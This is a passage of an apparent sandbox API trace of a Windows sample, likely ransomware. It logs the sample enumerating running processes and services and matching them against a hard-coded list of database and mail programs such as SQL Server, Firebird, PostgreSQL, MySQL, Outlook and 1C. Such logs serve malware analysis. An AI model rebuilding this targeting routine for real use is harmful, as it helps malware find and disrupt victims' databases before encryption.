lpString2="ShellHWDetection") returned -1 [0179.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0179.033] lstrlenW (lpString="Spooler") returned 7 [0179.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0179.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0179.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0179.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0179.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0179.033] lstrlenW (lpString="SysMain") returned 7 [0179.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0179.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0179.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0179.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0179.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0179.033] lstrlenW (lpString="Themes") returned 6 [0179.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0179.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0179.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0179.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0179.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0179.033] lstrlenW (lpString="TrkWks") returned 6 [0179.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0179.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0179.034] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0179.034] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0179.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0179.034] lstrlenW (lpString="UxSms") returned 5 [0179.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0179.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0179.034] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0179.034] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0179.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0179.034] lstrlenW (lpString="WdiServiceHost") returned 14 [0179.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0179.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0179.034] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0179.034] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0179.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0179.034] lstrlenW (lpString="WdiSystemHost") returned 13 [0179.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0179.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0179.034] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0179.034] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0179.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0179.034] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0179.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0179.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0179.034] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0179.034] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0179.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0179.034] lstrlenW (lpString="Winmgmt") returned 7 [0179.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0179.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0179.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0179.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0179.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0179.035] lstrlenW (lpString="WPDBusEnum") returned 10 [0179.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0179.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0179.035] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0179.035] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0179.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0179.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0179.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x124 [0179.037] Process32FirstW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.037] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0179.037] lstrlenW (lpString="System") returned 6 [0179.037] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0179.037] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0179.037] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0179.037] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0179.037] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0179.037] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0179.037] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0179.038] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0179.038] lstrlenW (lpString="smss.exe") returned 8 [0179.038] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0179.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0179.038] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0179.038] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0179.038] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0179.038] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0179.038] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0179.038] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.038] lstrlenW (lpString="csrss.exe") returned 9 [0179.038] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0179.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0179.038] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0179.038] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0179.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0179.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0179.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0179.039] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0179.039] lstrlenW (lpString="wininit.exe") returned 11 [0179.039] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0179.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0179.039] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0179.039] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0179.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0179.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0179.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0179.039] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.039] lstrlenW (lpString="csrss.exe") returned 9 [0179.040] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0179.040] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0179.040] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0179.040] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0179.040] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0179.040] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0179.040] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0179.040] lstrlenW (lpString="winlogon.exe") returned 12 [0179.040] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0179.041] lstrlenW (lpString="services.exe") returned 12 [0179.041] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0179.041] lstrlenW (lpString="lsass.exe") returned 9 [0179.041] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0179.041] lstrlenW (lpString="lsm.exe") returned 7 [0179.041] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.042] lstrlenW (lpString="svchost.exe") returned 11 [0179.042] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.042] lstrlenW (lpString="svchost.exe") returned 11 [0179.042] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.043] lstrlenW (lpString="svchost.exe") returned 11 [0179.043] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.043] lstrlenW (lpString="svchost.exe") returned 11 [0179.043] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.043] lstrlenW (lpString="svchost.exe") returned 11 [0179.043] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0179.044] lstrlenW (lpString="audiodg.exe") returned 11 [0179.044] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.044] lstrlenW (lpString="svchost.exe") returned 11 [0179.044] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0179.044] lstrlenW (lpString="explorer.exe") returned 12 [0179.044] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0179.045] lstrlenW (lpString="dwm.exe") returned 7 [0179.045] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.045] lstrlenW (lpString="svchost.exe") returned 11 [0179.045] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0179.045] lstrlenW (lpString="n.exe") returned 5 [0179.045] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0179.046] lstrlenW (lpString="spoolsv.exe") returned 11 [0179.046] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.046] lstrlenW (lpString="svchost.exe") returned 11 [0179.046] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0179.046] lstrlenW (lpString="taskhost.exe") returned 12 [0179.047] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0179.047] lstrlenW (lpString="reader_sl.exe") returned 13 [0179.047] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0179.047] lstrlenW (lpString="n.exe") returned 5 [0179.047] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0179.048] lstrlenW (lpString="n.exe") returned 5 [0179.048] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0179.048] CloseHandle (hObject=0x124) returned 1 [0179.048] Sleep (dwMilliseconds=0x1f4) [0179.862] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0179.862] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0179.862] GetLastError () returned 0xea [0179.862] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0179.862] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0179.863] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0179.863] lstrlenW (lpString="Appinfo") returned 7 [0179.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0179.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0179.863] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0179.863] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0179.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0179.863] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0179.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0179.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0179.863] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0179.863] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0179.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0179.863] lstrlenW (lpString="AudioSrv") returned 8 [0179.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0179.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0179.864] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0179.864] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0179.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0179.864] lstrlenW (lpString="BFE") returned 3 [0179.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0179.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0179.864] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0179.864] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0179.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0179.864] lstrlenW (lpString="CryptSvc") returned 8 [0179.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0179.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0179.864] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0179.864] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0179.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0179.864] lstrlenW (lpString="CscService") returned 10 [0179.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0179.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0179.864] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0179.864] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0179.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0179.864] lstrlenW (lpString="DcomLaunch") returned 10 [0179.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0179.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0179.864] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0179.864] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0179.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0179.864] lstrlenW (lpString="Dhcp") returned 4 [0179.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0179.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0179.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0179.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0179.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0179.865] lstrlenW (lpString="Dnscache") returned 8 [0179.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0179.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0179.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0179.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0179.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0179.865] lstrlenW (lpString="DPS") returned 3 [0179.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0179.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0179.865] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0179.865] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0179.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0179.865] lstrlenW (lpString="eventlog") returned 8 [0179.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0179.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0179.865] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0179.865] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0179.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0179.865] lstrlenW (lpString="EventSystem") returned 11 [0179.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0179.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0179.865] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0179.865] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0179.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0179.865] lstrlenW (lpString="gpsvc") returned 5 [0179.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0179.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0179.865] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0179.866] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0179.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0179.866] lstrlenW (lpString="iphlpsvc") returned 8 [0179.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0179.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0179.866] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0179.866] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0179.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0179.866] lstrlenW (lpString="LanmanServer") returned 12 [0179.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0179.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0179.866] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0179.866] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0179.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0179.866] lstrlenW (lpString="LanmanWorkstation") returned 17 [0179.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0179.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned 